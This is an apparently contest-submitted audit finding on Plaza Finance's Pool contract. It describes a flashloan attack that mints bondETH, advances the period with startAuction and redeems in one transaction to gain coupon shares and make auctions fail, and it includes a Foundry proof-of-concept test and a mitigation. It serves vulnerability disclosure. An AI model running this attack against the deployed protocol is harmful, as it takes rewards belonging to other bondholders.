Muscular Lavender Pelican

Medium

# An attacker can get many shares with a flashloan within one transaction and thus receive a lot of rewards and cause auctions to fail without having to permanently deposit reserve tokens.

### Summary

An attacker can create a lot of bondEth in a transaction with `create`, then call `startAuction`, which increases the period, and then call `redeem` in the transaction to withdraw his tokens. However, he would still receive shares since the period between create and redeem increased. This would allow him to get a lot of coupons without having to make his reserve tokens available for the auction, since he has already redeemed them.

### Root Cause

https://github.com/sherlock-audit/2024-12-plaza-finance/blob/main/plaza-evm/src/Pool.sol#L567

In `startAuction` the period is increased by 1. After each period, shares for the holders of bondETH are written into bondETH for the user. An attacker can now call `create` with a flashloan to mint a lot of bondETH and then use `startAuction` to increase the period by 1. 

https://github.com/sherlock-audit/2024-12-plaza-finance/blob/main/plaza-evm/src/BondToken.sol#L190-L200

This function is called in redeem when the bondETH is burned by a user. Since startAuction increased period by 1, the attacker would get his shares for his flashloan here.

https://github.com/sherlock-audit/2024-12-plaza-finance/blob/main/plaza-evm/src/Pool.sol#L549-L550

This also means that the coupon amount that has to be collected through the auction would be very high because so much bondEth was minted by the attacker.

https://github.com/sherlock-audit/2024-12-plaza-finance/blob/main/plaza-evm/src/Auction.sol#L341-L342

It is also much more likely that the auction will fail because the coupon amount that is purchased is very high and the sale limit is low because the balance of the pool does not include the tokens from the attacker

### Internal Pre-conditions

1. The attacker must call `startAuction` for it to work, which can only be done after the last distribution period is over

### External Pre-conditions

1. The attacker must be the first in the period to call startAuction 

### Attack Path

1. Attacker gets a flashloan of the reserve token and calls `create` with it
2. Attacker calls `startAuction`, which increases the current period by 1
3. Attacker calls `redeem` to get his reserve tokens back and pay back the flash loan, but gets shares for his tokens
4. The auction now has to cover the large amount of shares that the attacker gets but does not have the attacker's reserve tokens to sell them.

### Impact

Since an attacker can get a lot of shares in one transaction without having to leave his reserve tokens in the contract, many more coupon tokens must be bougth during the auction and, in comparison, too few reserve tokens can be sold. This can easily lead to an auction failing. However, the attacker would still have a lot of shares and could claim the rewards of other users and they can no longer get them.

### PoC

1. A new test file must be created in the test directory
2. The following code for the POC must be copied there:
```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.26;

import "forge-std/Test.sol";
import {console} from "forge-std/console.sol";

import {Pool} from "../src/Pool.sol";
import {Token} from "./mocks/Token.sol";
import {Auction} from "../src/Auction.sol";
import {Utils} from "../src/lib/Utils.sol";
import {MockPool} from "./mocks/MockPool.sol";
import {BondToken} from "../src/BondToken.sol";
import {TestCases} from "./data/TestCases.sol";
import {Decimals} from "../src/lib/Decimals.sol";
import {PoolFactory} from "../src/PoolFactory.sol";
import {Distributor} from "../src/Distributor.sol";
import {OracleFeeds} from "../src/OracleFeeds.sol";
import {Validator} from "../src/utils/Validator.sol";
import {OracleReader} from "../src/OracleReader.sol";
import {LeverageToken} from "../src/LeverageToken.sol";
import {MockPriceFeed} from "./mocks/MockPriceFeed.sol";
import {Deployer} from "../src/utils/Deployer.sol";
import {PreDeposit} from "../src/PreDeposit.sol";
import {Strings} from "@openzeppelin/contracts/utils/Strings.sol";
import {UpgradeableBeacon} from "@openzeppelin/contracts/proxy/beacon/UpgradeableBeacon.sol";

contract PoolTest is Test, TestCases {
    using Decimals for uint256;
    using Strings for uint256;

    address alice = address(1337);
    address bob = address(1338);
    address chad = address(1339);

    PoolFactory private poolFactory;
    PoolFactory.PoolParams private params;

    PreDeposit preDeposit;

    MockPriceFeed private mockPriceFeed;
    address private oracleFeedsContract;

    address private deployer = address(0x1);
    address private minter = address(0x2);
    address private governance = address(0x3);
    address private securityCouncil = address(0x4);
    address private user = address(0x5);
    address private user2 = address(0x6);

    address public constant ethPriceFeed = address(0x71041dddad3595F9CEd3DcCFBe3D1F4b0a16Bb70);
    uint256 private constant CHAINLINK_DECIMAL_PRECISION = 10**8;
    uint8 private constant CHAINLINK_DECIMAL = 8;
    
    // ============= Setup =============
    function setUp() public {
        vm.startPrank(deployer);
        address contractDeployer = address(new Deployer());
        oracleFeedsContract = address(new OracleFeeds());

        address poolBeacon = address(new UpgradeableBeacon(address(new Pool()), governance));
        address bondBeacon = address(new UpgradeableBeacon(address(new BondToken()), governance));
        address levBeacon = address(new UpgradeableBeacon(address(new LeverageToken()), governance));
        address distributorBeacon = address(new UpgradeableBeacon(address(new Distributor()), governance));

        poolFactory = PoolFactory(Utils.deploy(address(new PoolFactory()), abi.encodeCall(
        PoolFactory.initialize, 
        (governance, contractDeployer, oracleFeedsContract, poolBeacon, bondBeacon, levBeacon, distributorBeacon)
        )));

        params.fee = 1000;
        params.feeBeneficiary = governance;
        params.reserveToken = address(new Token("Wrapped ETH", "WETH", false));
        params.sharesPerToken = 50 * 10 ** 6;
        params.distributionPeriod = 91 days;
        params.couponToken = address(new Token("USDC", "USDC", false));

        Token(params.couponToken).setDecimals(6);
        Token(params.couponToken).mint(governance, 1_000_000e6);
        Token(params.couponToken).mint(alice, 1_000_000e6);
        Token(params.couponToken).mint(bob, 1_000_000e6);
        Token(params.couponToken).mint(chad, 1_000_000e6);
        Token(params.reserveToken).mint(governance, 1_000_000e18);
        Token(params.reserveToken).mint(alice, 1_000_000e18);
        Token(params.reserveToken).mint(bob, 1_000_000e18);
        Token(params.reserveToken).mint(chad, 1_000_000e18);
        
        OracleFeeds(oracleFeedsContract).setPriceFeed(params.reserveToken, address(0), ethPriceFeed, 1 days);

        // Deploy the mock price feed
        mockPriceFeed = new MockPriceFeed();

        // Use vm.etch to deploy the mock contract at the specific address
        bytes memory bytecode = address(mockPriceFeed).code;
        vm.etch(ethPriceFeed, bytecode);

        // Set oracle price
        mockPriceFeed = MockPriceFeed(ethPriceFeed);
        mockPriceFeed.setMockPrice(3000 * int256(CHAINLINK_DECIMAL_PRECISION), uint8(CHAINLINK_DECIMAL));
        vm.stopPrank();

        vm.startPrank(governance);
        poolFactory.grantRole(poolFactory.POOL_ROLE(), governance);
        poolFactory.grantRole(poolFactory.SECURITY_COUNCIL_ROLE(), securityCouncil);
        vm.stopPrank();
    }

    function standardSetup() public returns(Token, Token, BondToken, LeverageToken, Pool){
        Token rToken = Token(params.reserveToken);
        Token usdc = Token(params.couponToken);

        vm.startPrank(governance);
        rToken.approve(address(poolFactory), 0.1e18);

        Pool pool = Pool(poolFactory.createPool(
            params,
            0.1e18,
            2e18,
            2e18,
            "BToken",
            "BT",
            "LToken",
            "LT",
            false
        ));

        pool.setAuctionPeriod(10 days);
        vm.stopPrank();

        BondToken bToken = BondToken(pool.bondToken());
        LeverageToken lToken = LeverageToken(pool.lToken());

        return (rToken, usdc, bToken, lToken, pool);
    }

    function test_POC() public {
        (Token rToken, Token usdc, BondToken bToken, LeverageToken lToken, Pool pool) = standardSetup();

        vm.startPrank(alice);
        console.log("\n====== Alice creates with 2e18 rToken ======");
        rToken.approve(address(pool), 2e18);
        pool.create(
            Pool.TokenType.BOND,
            2e18,
            0
        );
        vm.stopPrank();

        vm.warp(block.timestamp + 92 days);

        vm.startPrank(chad);
        mockPriceFeed.setMockPrice(3000 * int256(CHAINLINK_DECIMAL_PRECISION), uint8(CHAINLINK_DECIMAL));
        
        //chad calls create with a large amount of reserve tokens
        console.log("\n====== Chad creates with 100e18 rToken ======");
        rToken.approve(address(pool), 100e18);
        pool.create(
            Pool.TokenType.BOND,
            100e18,
            0
        );

        console.log("\n====== Chad starts auction ======");
        (uint256 currentPeriod, ) = bToken.globalPool();
        console.log("currentPeriod before: ", currentPeriod);
        pool.startAuction(); //Then he starts the auction
        (currentPeriod, ) = bToken.globalPool();
        console.log("currentPeriod after: ", currentPeriod); //Shows that currentPeriod got increased
        Auction auction = Auction(pool.auctions(0));

        console.log("\n====== Chad redeems all his bTokens ======");
        pool.redeem( //chad redeems in several steps so that the slippage is not too high
            Pool.TokenType.BOND,
            1000e18,
            0
        );
        pool.redeem(
            Pool.TokenType.BOND,
            1000e18,
            0
        );
        pool.redeem(
            Pool.TokenType.BOND,
            1000e18,
            0
        );
        pool.redeem(
            Pool.TokenType.BOND,
            691406671051073416763,
            0
        );
        vm.stopPrank();
        console.log("chad bToken: ", bToken.balanceOf(chad)); //Shows that chad redeemed all of his bToken

        console.log("pool rToken: ", rToken.balanceOf(address(pool)));
        //Shows that chad got a lot of shares. If this auction fails the attacker's large share amount will no longer be taken into account in the next auction, but
        //he will still be able to claim his tokens at the expense of other users after the next successful auction. Because he can then claim their coupons with 
        //his shares
        console.log("chad shares: ", bToken.getIndexedUserAmount(address(chad), 0, 1));


        //As you can see from these logs, it is very unlikely that this auction will be successful because around 184,570 USDC would have to be bought but only 
        //almost 7 Ether could be sold, which is approximately $21,000 because the price of ETH in this POC is $3000
    }
}
```
3. The POC can be started with the command `forge test --mt test_POC -vv`

### Mitigation

An attacker should not be able to get shares within one transaction otherwise there is a risk of flashloans. In addition, it should not be possible to redeem during an auction, otherwise fewer reserve tokens will be sold than actually expected, which can lead to the sale limit being very low and an auction failing.